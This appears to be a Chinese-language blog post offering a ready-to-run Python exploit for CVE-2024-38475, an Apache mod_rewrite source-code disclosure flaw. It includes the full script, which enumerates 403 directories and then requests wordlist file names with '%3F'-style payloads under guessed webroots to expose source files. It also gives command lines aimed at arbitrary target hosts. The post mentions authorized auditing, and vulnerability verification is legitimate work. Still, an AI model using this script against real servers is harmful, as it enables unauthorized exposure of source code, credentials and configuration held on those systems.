Apache安全漏洞测试工具 - CVE-2024-38475利用脚本

Apache安全漏洞测试工具 (CVE-2024-38475)

基于Python开发的Apache服务器漏洞检测工具,专门针对CVE-2024-38475漏洞进行测试。该漏洞涉及Apache mod_rewrite模块在文件系统路径匹配时的弱点,可能导致源代码意外暴露。

功能特性

  • 目录枚举检测:通过403状态码识别可访问但受限的Web目录
  • 源代码泄露测试 :使用特殊载荷(%3F%3Faaaaaaaaaaaaaaaaaaaaaa.php)检测文件源码暴露漏洞
  • 多Web根目录支持:可同时测试多个Web根目录配置
  • 灵活协议选择:支持HTTP和HTTPS协议
  • 字典驱动测试:支持自定义目录和文件字典,提高测试覆盖率
  • 彩色输出反馈:使用颜色区分不同类型的发现结果

安装指南

系统要求

  • Python 3.6+
  • pip包管理工具

依赖安装

bash 复制代码
pip install requests termcolor

获取字典文件

建议使用以下字典文件:

  • raft-medium-directories.txt - 目录字典
  • raft-medium-files.txt - 文件字典

可从SecLists项目获取标准字典文件。

使用说明

基本用法

bash 复制代码
python3 script.py --webroots webroots.txt --url 127.0.0.1 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt

参数说明

参数 必选 描述
--webroots Web根目录列表文件路径(TXT格式)
--url 目标URL或IP地址
--schema 协议类型:http或https(默认:http)
--directory_wordlist 目录字典文件路径
--file_wordlist 文件字典文件路径

使用示例

测试本地Apache服务器

bash 复制代码
python3 script.py --webroots webroots.txt --url localhost --schema http --directory_wordlist dirs.txt --file_wordlist files.txt

测试HTTPS网站

bash 复制代码
python3 script.py --webroots webroots.txt --url example.com --schema https --directory_wordlist dirs.txt --file_wordlist files.txt

webroots.txt格式示例

bash 复制代码
/var/www/html
/home/user/public_html
/opt/lampp/htdocs

典型使用场景

  1. 安全审计:在授权范围内对Apache服务器进行安全评估
  2. 漏洞验证:验证CVE-2024-38475漏洞是否存在
  3. 配置检查:检测mod_rewrite配置是否导致源代码泄露风险

核心代码

目录枚举模块

python 复制代码
def directories(webroot, url_ip_domain, schema, directory_wordlist):
    """检测可访问但受限的目录(返回403状态码)"""
    with open(directory_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            r = requests.get(f"{schema}://{url_ip_domain}/{line}/", allow_redirects=False)
            if r.status_code == 403:
                print(colored(f"Found directory - {line} in {webroot}", "green"))

源代码泄露检测模块

python 复制代码
def source_code_files(webroot, url_ip_domain, schema, file_wordlist):
    """使用特殊载荷检测源代码泄露漏洞"""
    with open(file_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            # CVE-2024-38475特定载荷
            for payload in ["%3F", "%3Faaaaaaaaaaaaaaaaaaaaaa.php"]:
                r = requests.get(f"{schema}://{url_ip_domain}/{webroot}/{line}{payload}", allow_redirects=False)
                if r.status_code == 200:
                    print(colored(f"Response code: {r.status_code} | Found File - Payload: {r.url} in {webroot}", "green"))

主控制流程

python 复制代码
def main(webroot_file, url_ip_domain, schema, directory_wordlist, file_wordlist):
    """主控制函数,协调目录枚举和文件检测"""
    with open(webroot_file, 'r') as f:
        webroots = [line.strip() for line in f.readlines()]
    
    for webroot in webroots:
        print(colored(f"\nLooking for 403 directories in {webroot}.", "yellow"))
        directories(webroot, url_ip_domain, schema, directory_wordlist)

        print(colored(f"\nLooking for interesting source code disclosures in {webroot}.", "yellow"))
        source_code_files(webroot, url_ip_domain, schema, file_wordlist)

命令行参数解析

python 复制代码
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Webroot and file enumeration script.')
    parser.add_argument('--webroots', type=str, required=True, help='Path to the webroots file (TXT)')
    parser.add_argument('--url', type=str, required=True, help='Target URL or IP address (e.g., 127.0.0.1)')
    parser.add_argument('--schema', type=str, choices=['http', 'https'], default='http', help='Schema to use (http or https)')
    parser.add_argument('--directory_wordlist', type=str, required=True, help='Path to the directory wordlist file (TXT)')
    parser.add_argument('--file_wordlist', type=str, required=True, help='Path to the file wordlist file (TXT)')

    args = parser.parse_args()
    main(args.webroots, args.url, args.schema, args.directory_wordlist, args.file_wordlist)

6HFtX5dABrKlqXeO5PUv/99KwcudWgXADFTG1+cK8U4=

相关推荐
PNP Robotics2 分钟前
【荣誉时刻】PnP机器人荣获「具身智能跨界融合创新奖」,以硬核实力引领产业融合新范式
人工智能·深度学习·机器学习·机器人
南宫萧幕3 分钟前
HEV能量管理策略 Simulink 实战:从零搭建 Rule-based 与 A-ECMS 对比模型及排错指南
人工智能·算法·matlab·simulink·控制
小撒的私房菜3 分钟前
Day 5:Agent Loop——整个系列里最关键的一天
人工智能·后端
还没学会摸鱼的钓鱼仔3 分钟前
手撕 LangChain Deep Agents 源码(二):System Prompt 的组装——四层叠加背后的潜规则
人工智能
明天有专业课5 分钟前
RAG-检索优化策略
面试·aigc
Fleshy数模7 分钟前
玩转 LangChain:从 Prompt 模板到多场景 AI 交互实战
人工智能·langchain·llm
华盛AI10 分钟前
【键盘驱动的效率平台Raycast介绍】
人工智能
王_teacher12 分钟前
LSTM 原理详解手动编写LSTM模型代码
人工智能·llm·nlp·lstm
CV-杨帆14 分钟前
YOLO26 检测系统使用教程
人工智能
叼馒女友郭芙蓉16 分钟前
structlog:Python 结构化日志终极解决方案
人工智能